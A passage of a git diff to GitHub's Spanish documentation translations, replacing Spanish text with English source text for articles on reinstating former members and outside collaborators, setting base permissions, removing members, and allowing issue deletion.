acceso de un colaborador externo a los repositorios privados de tu organización, los privilegios de acceso y configuraciones de éste se guardan por tres meses. You can restore the user's privileges if you {% ifversion fpt or ghec %}invite{% else %}add{% endif %} them back to the organization within that time frame. +When an outside collaborator's access to your organization's private repositories is removed, the user's access privileges and settings are saved for three months. You can restore the user's privileges if you {% ifversion fpt or ghec %}invite{% else %}add{% endif %} them back to the organization within that time frame. {% data reusables.two_fa.send-invite-to-reinstate-user-before-2fa-is-enabled %} -Cuando reinstalas un colaborador externo antiguo, puedes restaurar lo siguiente: - - El acceso antiguo del usuario a los repositorios de la organización - - Cualquier bifurcación privada de los repositorios que son propiedad de la organización - - La membresía a los equipos de la organización - - El acceso y los permisos previos para los repositorios de la organización - - Las estrellas para los repositorios de la organización - - Las asignaciones de propuestas en la organización - - Las suscripciones a repositorios (los parámetros de notificaciones para observar, no observar o ignorar la actividad de un repositorio) +When you reinstate a former outside collaborator, you can restore: + - The user's former access to organization repositories + - Any private forks of repositories owned by the organization + - Membership in the organization's teams + - Previous access and permissions for the organization's repositories + - Stars for organization repositories + - Issue assignments in the organization + - Repository subscriptions (notification settings for watching, not watching, or ignoring a repository's activity) {% tip %} **Tips**: - - Solo los propietarios de la organización pueden reinstalar el acceso de colaboradores externos a una organización. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)." - - Puede que el flujo de reinstalación de un miembro en {% data variables.product.product_location %} utilice el término "miembro" para describir la reinstalación de un colaborador externo, pero si reinstalas a esta persona y mantienes sus privilegios previos, solo tendrá los [permisos de colaborador externo](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators) anteriores.{% ifversion fpt or ghec %} - - Si tu organización tiene una suscripción de pago por usuario, debe de existir una licencia sin utilizarse antes de que puedas invitar a un nuevo miembro para que se una a la organización o antes de reinstaurar a algún miembro previo de la misma. Para obtener más información, consulta "[Acerca del precio por usuario](/articles/about-per-user-pricing)."{% endif %} + - Only organization owners can reinstate outside collaborators' access to an organization. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)." + - The reinstating a member flow on {% data variables.product.product_location %} may use the term "member" to describe reinstating an outside collaborator but if you reinstate this person and keep their previous privileges, they will only have their previous [outside collaborator permissions](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators).{% ifversion fpt or ghec %} + - If your organization has a paid per-user subscription, an unused license must be available before you can invite a new member to join the organization or reinstate a former organization member. For more information, see "[About per-user pricing](/articles/about-per-user-pricing)."{% endif %} {% endtip %} @@ -45,35 +45,37 @@ Cuando reinstalas un colaborador externo antiguo, puedes restaurar lo siguiente: {% data reusables.organizations.invite_member_from_people_tab %} {% data reusables.organizations.reinstate-user-type-username %} {% ifversion fpt or ghec %} -1. Decide si quieres restaurar los privilegios antiguos del colaborador externo en la organización haciendo clic en **Invite and reinstate** (Invitar y reinstalar) o decide eliminar los privilegios antiguos y establecer nuevos permisos de acceso haciendo clic en **Invite and start fresh** (Invitar e iniciar de nuevo). +1. Choose to restore the outside collaborator's previous privileges in the organization by clicking **Invite and reinstate** or choose to clear their previous privileges and set new access permissions by clicking **Invite and start fresh**. {% warning %} - **Advertencia:** Si quieres subir de categoría el colaborador externo a miembro de tu organización, elige **Invite and start fresh** (Invitar e iniciar de nuevo) y elige un rol nuevo para esta persona. Sin embargo, ten en cuenta que las bifurcaciones privadas de los repositorios de tu organización de esa persona se perderán si decides iniciar de nuevo. En cambio, para hacer que el colaborador externo antiguo sea miembro de tu organización *y* conserve sus bifurcaciones privadas, elige **Invite and reinstate** (Invitar y reinstalar). Una vez que esta persona acepte la invitación, puedes convertirla en miembro de la organización [invitándola a que se una a la organización como miembro](/articles/converting-an-outside-collaborator-to-an-organization-member). + **Warning:** If you want to upgrade the outside collaborator to a member of your organization, then choose **Invite and start fresh** and choose a new role for this person. Note, however, that this person's private forks of your organization's repositories will be lost if you choose to start fresh. To make the former outside collaborator a member of your organization *and* keep their private forks, choose **Invite and reinstate** instead. Once this person accepts the invitation, you can convert them to an organization member by [inviting them to join the organization as a member](/articles/converting-an-outside-collaborator-to-an-organization-member). {% endwarning %} - ![Decide si quieres restaurar los parámetros o no](/assets/images/help/organizations/choose_whether_to_restore_org_member_info.png) + ![Choose to restore settings or not](/assets/images/help/organizations/choose_whether_to_restore_org_member_info.png) {% else %} -6. Decide si quieres restaurar los privilegios antiguos del colaborador externo en la organización haciendo clic en **Add and reinstate** (Agregar y reinstalar) o decide eliminar los privilegios antiguos y establecer nuevos permisos de acceso haciendo clic en **Add and start fresh** (Agregar e iniciar de nuevo). +6. Choose to restore the outside collaborator's previous privileges in the organization by clicking **Add and reinstate** or choose to clear their previous privileges and set new access permissions by clicking **Add and start fresh**. {% warning %} - **Advertencia:** Si quieres subir de categoría el colaborador externo a miembro de tu organización, elige **Add and start fresh** (Agregar e iniciar de nuevo) y elige un rol nuevo para esta persona. Sin embargo, ten en cuenta que las bifurcaciones privadas de los repositorios de tu organización de esa persona se perderán si decides iniciar de nuevo. En cambio, para hacer que el colaborador externo antiguo sea miembro de tu organización *y* conserve sus bifurcaciones privadas, elige **Add and reinstate** (Agregar y reinstalar). Luego puedes convertirla en miembro de la organización [agregándola a la organización como miembro](/articles/converting-an-outside-collaborator-to-an-organization-member). + **Warning:** If you want to upgrade the outside collaborator to a member of your organization, then choose **Add and start fresh** and choose a new role for this person. Note, however, that this person's private forks of your organization's repositories will be lost if you choose to start fresh. To make the former outside collaborator a member of your organization *and* keep their private forks, choose **Add and reinstate** instead. Then, you can convert them to an organization member by [adding them to the organization as a member](/articles/converting-an-outside-collaborator-to-an-organization-member). {% endwarning %} - ![Decide si quieres restaurar los parámetros o no](/assets/images/help/organizations/choose_whether_to_restore_org_member_info_ghe.png) + ![Choose to restore settings or not](/assets/images/help/organizations/choose_whether_to_restore_org_member_info_ghe.png) {% endif %} {% ifversion fpt or ghec %} -7. Si eliminaste los privilegios anteriores de un colaborador externo antiguo, elige un rol para el usuario y, de manera opcional, agrégalo a algunos equipos, luego haz clic en **Send invitation** (Enviar invitación). ![Opciones de rol y equipo y botón para enviar invitación](/assets/images/help/organizations/add-role-send-invitation.png) +7. If you cleared the previous privileges for a former outside collaborator, choose a role for the user and optionally add them to some teams, then click **Send invitation**. + ![Role and team options and send invitation button](/assets/images/help/organizations/add-role-send-invitation.png) {% else %} -7. Si eliminaste los privilegios anteriores de un colaborador externo antiguo, elige un rol para el usuario y, de manera opcional, agrégalo a algunos equipos, luego haz clic en **Add member** (Agregar miembro). ![Opciones de rol y equipo y botón para agregar miembros](/assets/images/help/organizations/add-role-add-member.png) +7. If you cleared the previous privileges for a former outside collaborator, choose a role for the user and optionally add them to some teams, then click **Add member**. + ![Role and team options and add member button](/assets/images/help/organizations/add-role-add-member.png) {% endif %} {% ifversion fpt or ghec %} -8. La persona invitada recibirá un correo electrónico invitándola a la organización. Tendrá que aceptar la invitación antes de convertirse en colaborador externo de la organización. {% data reusables.organizations.cancel_org_invite %} +8. The invited person will receive an email inviting them to the organization. They will need to accept the invitation before becoming an outside collaborator in the organization. {% data reusables.organizations.cancel_org_invite %} {% endif %} -## Leer más +## Further Reading - "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)" diff --git a/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization.md b/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization.md index 17c3cf2637..fc6aca0e28 100644 --- a/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization.md +++ b/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization.md @@ -1,6 +1,6 @@ --- -title: Configurar los permisos base para una organización -intro: Puedes configurar permisos base para los repositorios que pertenezcan a una organización. +title: Setting base permissions for an organization +intro: You can set base permissions for the repositories that an organization owns. permissions: Organization owners can set base permissions for an organization. redirect_from: - /github/setting-up-and-managing-organizations-and-teams/setting-base-permissions-for-an-organization @@ -12,14 +12,14 @@ versions: topics: - Organizations - Teams -shortTitle: Configurar los permisos básicos +shortTitle: Set base permissions --- -## Acerca de los permisos base para una organización +## About base permissions for an organization -Puedes configurar permisos base que apliquen a todos los miembros de una organización cuando accedan a cualquiera de los repositorios de la misma. Los permisos base no aplican para los colaboradores externos. +You can set base permissions that apply to all members of an organization when accessing any of the organization's repositories. Base permissions do not apply to outside collaborators. -{% ifversion fpt or ghec %}Predeterminadamente, los miembros de una organización tendrán permisos de **Lectura** para los repositorios de la misma{% endif %} +{% ifversion fpt or ghec %}By default, members of an organization will have **Read** permissions to the organization's repositories.{% endif %} If someone with admin access to an organization's repository grants a member a higher level of access for the repository, the higher level of access overrides the base permission. @@ -27,15 +27,17 @@ If someone with admin access to an organization's repository grants a member a h If you've created a custom repository role with an inherited role that is lower access than your organization's base permissions, any members assigned to that role will default to the organization's base permissions rather than the inherited role. For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)." {% endif %} -## Configurar los permisos base +## Setting base permissions {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.member-privileges %} -5. Debajo de "Permisos Base", utiliza el menú desplegable para seleccionar los nuevos permisos base. ![Selección de nuevo nivel de permiso desde el menú desplegable de "permisos base"](/assets/images/help/organizations/base-permissions-drop-down.png) -6. Revisa los cambios. Da clic en **Cambiar el permiso predeterminado por PERMISO** para confirmar. ![Revisar y confirmar el cambio de permisos base](/assets/images/help/organizations/base-permissions-confirm.png) +5. Under "Base permissions", use the drop-down to select new base permissions. + ![Selecting new permission level from base permissions drop-down](/assets/images/help/organizations/base-permissions-drop-down.png) +6. Review the changes. To confirm, click **Change default permission to PERMISSION**. + ![Reviewing and confirming change of base permissions](/assets/images/help/organizations/base-permissions-confirm.png) -## Leer más +## Further reading - "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)" -- "[Agregar colaboradores externos a repositorios de tu organización](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization)" +- "[Adding outside collaborators to repositories in your organization](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization)" diff --git a/translations/es-ES/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md b/translations/es-ES/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md index c7cadb980c..babe034772 100644 --- a/translations/es-ES/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md +++ b/translations/es-ES/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md @@ -1,6 +1,6 @@ --- -title: ¿Puedo crear cuentas para personas en mi organización? -intro: 'Si bien puedes agregar usuarios a una organización que has creado, no puedes crear cuentas de usuario personales en nombre de otra persona.' +title: Can I create accounts for people in my organization? +intro: 'While you can add users to an organization you''ve created, you can''t create personal user accounts on behalf of another person.' redirect_from: - /articles/can-i-create-accounts-for-those-in-my-organization/ - /articles/can-i-create-accounts-for-people-in-my-organization @@ -11,7 +11,7 @@ versions: topics: - Organizations - Teams -shortTitle: Crear cuentas para las personas +shortTitle: Create accounts for people --- ## About user accounts @@ -22,8 +22,8 @@ Because you access an organization by logging in to a user account, each of your If you need greater control over the user accounts of your organization members, consider {% data variables.product.prodname_emus %}. {% data reusables.enterprise-accounts.emu-short-summary %} {% endif %} -## Agregar usuarios a tu organización +## Adding users to your organization 1. Provide each person instructions to [create a user account](/articles/signing-up-for-a-new-github-account). -2. Preguntar el nombre de usuario a cada persona a la que deseas dar membresía a la organización. -3. [Invitar a las nuevas cuentas personales para que se unan](/articles/inviting-users-to-join-your-organization) a tu organización. Usar [roles de la organización](/articles/permission-levels-for-an-organization) y [permisos de repositorio](/articles/repository-permission-levels-for-an-organization) para limitar el acceso a cada cuenta. +2. Ask for the username of each person you want to give organization membership to. +3. [Invite the new personal accounts to join](/articles/inviting-users-to-join-your-organization) your organization. Use [organization roles](/articles/permission-levels-for-an-organization) and [repository permissions](/articles/repository-permission-levels-for-an-organization) to limit the access of each account. diff --git a/translations/es-ES/content/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization.md b/translations/es-ES/content/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization.md index e34539e1fd..c846119a93 100644 --- a/translations/es-ES/content/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization.md +++ b/translations/es-ES/content/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization.md @@ -1,5 +1,5 @@ --- -title: Volver a admitir a un miembro anterior de tu organización +title: Reinstating a former member of your organization intro: 'Organization owners can {% ifversion fpt or ghec %}invite former organization members to rejoin{% else %}add former members to{% endif%} your organization, and choose whether to restore the person''s former role, access permissions, forks, and settings.' redirect_from: - /articles/reinstating-a-former-member-of-your-organization @@ -13,33 +13,33 @@ permissions: Organization owners can reinstate a former member of an organizatio topics: - Organizations - Teams -shortTitle: Reinstaurar a un miembro +shortTitle: Reinstate a member --- -## Acerca de la reinstauración de miembros +## About member reinstatement -Si [eliminas a un usuario de tu organizción](/articles/removing-a-member-from-your-organization){% ifversion ghae %} o{% else %}{% endif %}[ conviertes a un miembro de la organización en colaborador externo](/articles/converting-an-organization-member-to-an-outside-collaborator){% ifversion not ghae %} o si un usuario se elimina de tu orgnización porque [requeriste que los miembros y colaboradores externos habilitaran la autenticación bifactorial (2FA)](/articles/requiring-two-factor-authentication-in-your-organization){% endif %}, los privilegios de acceso y las configuraciones del usuario se guardarán durante tres meses. You can restore the user's privileges if you {% ifversion fpt or ghec %}invite{% else %}add{% endif %} them back to the organization within that time frame. +If you [remove a user from your organization](/articles/removing-a-member-from-your-organization){% ifversion ghae %} or{% else %},{% endif %} [convert an organization member to an outside collaborator](/articles/converting-an-organization-member-to-an-outside-collaborator){% ifversion not ghae %}, or a user is removed from your organization because you've [required members and outside collaborators to enable two-factor authentication (2FA)](/articles/requiring-two-factor-authentication-in-your-organization){% endif %}, the user's access privileges and settings are saved for three months. You can restore the user's privileges if you {% ifversion fpt or ghec %}invite{% else %}add{% endif %} them back to the organization within that time frame. {% data reusables.two_fa.send-invite-to-reinstate-user-before-2fa-is-enabled %} -Cuando vuelvas a admitir a un miembro antiguo de la organización, puedes restaurar lo siguiente: - - El rol del usuario en la organización - - Cualquier bifurcación privada de los repositorios que son propiedad de la organización - - La membresía a los equipos de la organización - - El acceso y los permisos previos para los repositorios de la organización - - Las estrellas para los repositorios de la organización - - Las asignaciones de propuestas en la organización - - Las suscripciones a repositorios (los parámetros de notificaciones para observar, no observar o ignorar la actividad de un repositorio) +When you reinstate a former organization member, you can restore: + - The user's role in the organization + - Any private forks of repositories owned by the organization + - Membership in the organization's teams + - Previous access and permissions for the organization's repositories + - Stars for organization repositories + - Issue assignments in the organization + - Repository subscriptions (notification settings for watching, not watching, or ignoring a repository's activity) {% ifversion ghes %} -Si se eliminó de la organización a un miembro de la organización porque no utilizó la autenticación de dos factores, y tu organización aún requiere que los miembros utilicen la 2FA, el miembro antiguo debe habilitar la autenticación de dos factores antes de que puedas reinstalar su membresía. +If an organization member was removed from the organization because they did not use two-factor authentication and your organization still requires members to use 2FA, the former member must enable two-factor authentication before you can reinstate their membership. {% endif %} {% ifversion fpt or ghec %} -Si tu organización tiene una suscripción de pago por usuario, debes de contar con una licencia disponible antes de que puedas volver a admitir a algún miembro anterior de la organización. Para obtener más información, consulta "[About per-user pricing](/articles/about-per-user-pricing)". {% data reusables.organizations.org-invite-scim %} +If your organization has a paid per-user subscription, an unused license must be available before you can reinstate a former organization member. For more information, see "[About per-user pricing](/articles/about-per-user-pricing)." {% data reusables.organizations.org-invite-scim %} {% endif %} -## Volver a admitir a un miembro anterior de tu organización +## Reinstating a former member of your organization {% data reusables.profile.access_org %} {% data reusables.user_settings.access_org %} @@ -47,19 +47,23 @@ Si tu organización tiene una suscripción de pago por usuario, debes de contar {% data reusables.organizations.invite_member_from_people_tab %} {% data reusables.organizations.reinstate-user-type-username %} {% ifversion fpt or ghec %} -6. Decide si quieres restaurar los privilegios antiguos de esa persona en la organización o eliminar sus privilegios antiguos y establecer nuevos permisos de acceso, luego haz clic en **Invite and reinstate** (Invitar y reinstalar) o **Invite and start fresh** (Invitar e iniciar de nuevo). ![Decide si quieres restaurar la información o no](/assets/images/help/organizations/choose_whether_to_restore_org_member_info.png) +6. Choose whether to restore that person's previous privileges in the organization or clear their previous privileges and set new access permissions, then click **Invite and reinstate** or **Invite and start fresh**. + ![Choose to restore info or not](/assets/images/help/organizations/choose_whether_to_restore_org_member_info.png) {% else %} -6. Decide si quieres restaurar los privilegios antiguos de esa persona en la organización o eliminar sus privilegios antiguos y establecer nuevos permisos de acceso, luego haz clic en **Add and reinstate** (Agregar y reinstalar) o **Add and start fresh** (Agregar e iniciar de nuevo). ![Decide si quieres restaurar los privilegios](/assets/images/help/organizations/choose_whether_to_restore_org_member_info_ghe.png) +6. Choose whether to restore that person's previous privileges in the organization or clear their previous privileges and set new access permissions, then click **Add and reinstate** or **Add and start fresh**. + ![Choose whether to restore privileges](/assets/images/help/organizations/choose_whether_to_restore_org_member_info_ghe.png) {% endif %} {% ifversion fpt or ghec %} -7. Si eliminaste los privilegios anteriores de un miembro anterior de la organización, elige un rol para el usuario, y, de manera opcional, agrégalo a algunos equipos, luego haz clic en **Enviar invitación**. ![Opciones de rol y equipo y botón para enviar invitación](/assets/images/help/organizations/add-role-send-invitation.png) +7. If you cleared the previous privileges for a former organization member, choose a role for the user, and optionally add them to some teams, then click **Send invitation**. + ![Role and team options and send invitation button](/assets/images/help/organizations/add-role-send-invitation.png) {% else %} -7. Si eliminaste los privilegios anteriores de un miembro anterior de la organización, elige un rol para el usuario y, de manera opcional, agrégalo a algunos equipos, luego haz clic en **Agregar miembro**. ![Opciones de rol y equipo y botón para agregar miembros](/assets/images/help/organizations/add-role-add-member.png) +7. If you cleared the previous privileges for a former organization member, choose a role for the user, and optionally add them to some teams, then click **Add member**. + ![Role and team options and add member button](/assets/images/help/organizations/add-role-add-member.png) {% endif %} {% ifversion fpt or ghec %} {% data reusables.organizations.user_must_accept_invite_email %} {% data reusables.organizations.cancel_org_invite %} {% endif %} -## Leer más +## Further reading -- "[Convertir a un miembro de la organización en colaborador externo](/articles/converting-an-organization-member-to-an-outside-collaborator)" +- "[Converting an organization member to an outside collaborator](/articles/converting-an-organization-member-to-an-outside-collaborator)" diff --git a/translations/es-ES/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md b/translations/es-ES/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md index feda5b410d..160e49af6a 100644 --- a/translations/es-ES/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md +++ b/translations/es-ES/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md @@ -1,6 +1,6 @@ --- -title: Eliminar a un miembro de tu organización -intro: 'Si miembros de tu organización ya no necesitan acceso a ningún repositorio que le pertenece a la organización, puedes eliminarlos de la organización.' +title: Removing a member from your organization +intro: 'If members of your organization no longer require access to any repositories owned by the organization, you can remove them from the organization.' redirect_from: - /articles/removing-a-member-from-your-organization - /github/setting-up-and-managing-organizations-and-teams/removing-a-member-from-your-organization @@ -12,20 +12,22 @@ versions: topics: - Organizations - Teams -shortTitle: Eliminar a un miembro +shortTitle: Remove a member --- -Solo los propietarios de la organización pueden eliminar usuarios de una organización. +Only organization owners can remove members from an organization. {% ifversion fpt or ghec %} {% warning %} -**Advertencia:** Cuando eliminas a algún miembro de una organización: -- La cuenta de licencias pagadas no baja de categoría automáticamente. Para pagar por menos licencias después de eliminar usuarios de tu organización, sigue los pasos de la sección "[Bajar el cupo límite de plazas pagadas en tu organización](/articles/downgrading-your-organization-s-paid-seats)". -- Los miembros eliminados perderán el acceso a las bifurcaciones privadas de los repositorios privados de tu organización, pero aún podrían tener copias locales de estas. Sin embargo, no pueden sincronizar las copias locales con tus repositorios de la organización. Se pueden restaurar las bifurcaciones privadas del usuario si se lo reinstala [como miembro de la organización](/articles/reinstating-a-former-member-of-your-organization) dentro de los tres meses posteriores a haber sido eliminado de la organización. En última instancia, tú eres el responsable de asegurar que las personas que perdieron acceso a un repositorio borren cualquier información confidencial o propiedad intelectual. -- Si tu organización le pertenece a una cuenta empresarial, los miembros eliminados también perderán acceso a las bifurcaciones privadas de los repositorios internos de tu organización en caso de que el miembro que se elimine no sea miembro de otra organización que le pertenezca a la misma cuenta empresarial. Para obtener más información, consulta "[Acerca de las cuentas de empresa](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)". -- Cualquier invitación a una organización que envíe un miembro eliminado, y que no se haya aceptado, se cancelará y no se podrá acceder a ella. +**Warning:** When you remove members from an organization: +- The paid license count does not automatically downgrade. To pay for fewer licenses after removing users from your organization, follow the steps in "[Downgrading your organization's paid seats](/articles/downgrading-your-organization-s-paid-seats)." +- Removed members will lose access to private forks of your organization's private repositories, but they may still have local copies. However, they cannot sync local copies with your organization's repositories. Their private forks can be restored if the user is [reinstated as an organization member](/articles/reinstating-a-former-member-of-your-organization) within three months of being removed from the organization. Ultimately, you are responsible for ensuring that people who have lost access to a repository delete any confidential information or intellectual property. +{%- ifversion ghec %} +- Removed members will also lose access to private forks of your organization's internal repositories, if the removed member is not a member of any other organization owned by the same enterprise account. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)." +{%- endif %} +- Any organization invitations sent by a removed member, that have not been accepted, are cancelled and will not be accessible. {% endwarning %} @@ -33,10 +35,10 @@ Solo los propietarios de la organización pueden eliminar usuarios de una organi {% warning %} -**Advertencia:** Cuando eliminas a algún miembro de una organización: - - Los miembros eliminados perderán el acceso a las bifurcaciones privadas de los repositorios privados de tu organización, pero aún podrían tener copias locales de estas. Sin embargo, no pueden sincronizar las copias locales con tus repositorios de la organización. Se pueden restaurar las bifurcaciones privadas del usuario si se lo reinstala [como miembro de la organización](/articles/reinstating-a-former-member-of-your-organization) dentro de los tres meses posteriores a haber sido eliminado de la organización. En última instancia, tú eres el responsable de asegurar que las personas que perdieron acceso a un repositorio borren cualquier información confidencial o propiedad intelectual. -- Los miembros eliminados también perderán acceso a las bifurcaciones privadas de los repositorios internos de tu organización si el miembro que s eliminó no es miembro de otra organización de tu empresa. - - Cualquier invitación a una organización que envíe el usuario eliminado y que no se haya aceptado se cancelará y no se podrá acceder a ella. +**Warning:** When you remove members from an organization: + - Removed members will lose access to private forks of your organization's private repositories, but may still have local copies. However, they cannot sync local copies with your organization's repositories. Their private forks can be restored if the user is [reinstated as an organization member](/articles/reinstating-a-former-member-of-your-organization) within three months of being removed from the organization. Ultimately, you are responsible for ensuring that people who have lost access to a repository delete any confidential information or intellectual property. +- Removed members will also lose access to private forks of your organization's internal repositories, if the removed member is not a member of any other organization in your enterprise. + - Any organization invitations sent by the removed user, that have not been accepted, are cancelled and will not be accessible. {% endwarning %} @@ -44,21 +46,24 @@ Solo los propietarios de la organización pueden eliminar usuarios de una organi {% ifversion fpt or ghec %} -Para ayudar con la transición de la persona que estás eliminando de tu organización y ayudar a asegurar que elimine la información confidencial o propiedad intelectual, recomendamos compartir una lista de verificación para salir de tu organización. Para ver un ejemplo, consulta "[Buenas prácticas para salir de tu empresa](/articles/best-practices-for-leaving-your-company/)". +To help the person you're removing from your organization transition and help ensure they delete confidential information or intellectual property, we recommend sharing a checklist of best practices for leaving your organization. For an example, see "[Best practices for leaving your company](/articles/best-practices-for-leaving-your-company/)." {% endif %} {% data reusables.organizations.data_saved_for_reinstating_a_former_org_member %} -## Revocar la membresía del usuario +## Revoking the user's membership {% data reusables.profile.access_org %} {% data reusables.user_settings.access_org %} {% data reusables.organizations.people %} -4. Selecciona el miembro o los miembros que quieres eliminar de la organización. ![Lista de miembros con dos miembros seleccionados](/assets/images/help/teams/list-of-members-selected-bulk.png) -5. Arriba de la lista de miembros, utiliza el menú desplegable y haz clic en **Remove from organization** (Eliminar de la organización). ![Menú desplegable con la opción para eliminar miembros](/assets/images/help/teams/user-bulk-management-options.png) -6. Revisa el miembro o los miembros que se eliminarán de la organización, luego haz clic en **Remove members** (Eliminar miembros). ![Lista de miembros que se eliminarán y botón Remove members (Eliminar miembros)](/assets/images/help/teams/confirm-remove-members-bulk.png) +4. Select the member or members you'd like to remove from the organization. + ![List of members with two members selected](/assets/images/help/teams/list-of-members-selected-bulk.png) +5. Above the list of members, use the drop-down menu, and click **Remove from organization**. + ![Drop-down menu with option to remove members](/assets/images/help/teams/user-bulk-management-options.png) +6. Review the member or members who will be removed from the organization, then click **Remove members**. + ![List of members who will be removed and Remove members button](/assets/images/help/teams/confirm-remove-members-bulk.png) -## Leer más +## Further reading -- "[Eliminar de un equipo a miembros de la organización](/articles/removing-organization-members-from-a-team)" +- "[Removing organization members from a team](/articles/removing-organization-members-from-a-team)" diff --git a/translations/es-ES/content/organizations/managing-organization-settings/allowing-people-to-delete-issues-in-your-organization.md b/translations/es-ES/content/organizations/managing-organization-settings/allowing-people-to-delete-issues-in-your-organization.md index 3eca82c86e..4fcc9475d4 100644 --- a/translations/es-ES/content/organizations/managing-organization-settings/allowing-people-to-delete-issues-in-your-organization.md +++ b/translations/es-ES/content/organizations/managing-organization-settings/allowing-people-to-delete-issues-in-your-organization.md @@ -1,6 +1,6 @@ --- -title: Permitir que personas eliminen propuestas en tu organización -intro: Los propietarios de la organización pueden permitir que determinadas personas eliminen propuestas en repositorios que pertenecen a tu organización. +title: Allowing people to delete issues in your organization +intro: Organization owners can allow certain people to delete issues in repositories owned by your organization. redirect_from: - /articles/allowing-people-to-delete-issues-in-your-organization - /github/setting-up-and-managing-organizations-and-teams/allowing-people-to-delete-issues-in-your-organization @@ -12,15 +12,16 @@ versions: topics: - Organizations - Teams -shortTitle: Permitir el borrado de propuestas +shortTitle: Allow issue deletion --- -Por defecto, las propuestas no pueden eliminarse en los repositorios de una organización. El propietario de la organización debe habilitar esta característica para todos los repositorios de la organización en primer lugar. +By default, issues cannot be deleted in an organization's repositories. An organization owner must enable this feature for all of the organization's repositories first. Once enabled, organization owners and people with admin access in an organization-owned repository can delete issues. People with admin access in a repository include organization members and outside collaborators who were given admin access. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)" and "[Deleting an issue](/articles/deleting-an-issue)." {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.member-privileges %} -5. En "Issue deletion" (Eliminación de la propuesta), selecciona **Permitir que los miembros eliminen propuestas para esta organización**. ![Casilla de verificación para permitir que las personas eliminen propuestas](/assets/images/help/settings/issue-deletion.png) -6. Haz clic en **Save ** (guardar). +5. Under "Issue deletion", select **Allow members to delete issues for this organization**. +![Checkbox to allow people to delete issues](/assets/images/help/settings/issue-deletion.png) +6. Click **Save**. diff --git a/translations/es-ES/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md b/translations/es-ES/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md index 6822ba6261..2465aeb1de 100644 --- a/translations/es-ES/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md +++ b/translations/es-ES/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md @@ -1,6 +1,6 @@ --- -title: Cambiar la visibilidad de la información de dependencias de la organización -intro: Puedes permitir que todos los miembros de la organización vean información de dependencias para tu organización o limiten la visualización de los propietarios de la organización. +title: Changing the visibility of your organization's dependency insights +intro: You can allow all organization members to view dependency insights for your organization or limit viewing to organization owners. product: '{% data reusables.gated-features.org-insights %}' redirect_from: - /articles/changing-the-visibility-of-your-organizations-dependency-insights @@ -11,15 +11,16 @@ versions: topics: - Organizations - Teams -shortTitle: Cambiar la visbilidad de las perspectivas +shortTitle: Change insight visibility --- -Los propietarios de la organización pueden establecer limitaciones para ver la información de dependencias de la organización. De manera predeterminada, todos los miembros de una organización pueden ver información de la dependencia de la organización. +Organization owners can set limitations for viewing organization dependency insights. All members of an organization can view organization dependency insights by default. -Los propietarios de la empresa pueden establecer limitaciones para ver la información de las dependencias de la organización en todas las organizaciones de tu cuenta de empresa. For more information, see "[Enforcing policies for dependency insights in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise)." +Enterprise owners can set limitations for viewing organization dependency insights on all organizations in your enterprise account. For more information, see "[Enforcing policies for dependency insights in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise)." {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.member-privileges %} -5. En "Member organization permissions" (Permisos para miembros de la organización), selecciona o quita la marca de selección de **Allow members to view dependency insights** (Permitir que los miembros vean información de dependencias). ![Casilla de verificación para permitir que los miembros vean información](/assets/images/help/organizations/allow-members-to-view-insights.png) -6. Haz clic en **Save ** (guardar). +5. Under "Member organization permissions", select or unselect **Allow members to view dependency insights**. +![Checkbox to allow members to view insights](/assets/images/help/organizations/allow-members-to-view-insights.png) +6. Click **Save**. diff --git a/translations/es-ES/content/organizations/managing-organization-settings/deleting-an-organization-account.md b/translations/es-ES/content/organizations/managing-organization-settings/deleting-an-organization-account.md index 0278f4cd6a..c3360a5de4 100644 --- a/translations/es-ES/content/organizations/managing-organization-settings/deleting-an-organization-account.md +++ b/translations/es-ES/content/organizations/managing-organization-settings/deleting-an-organization-account.md @@ 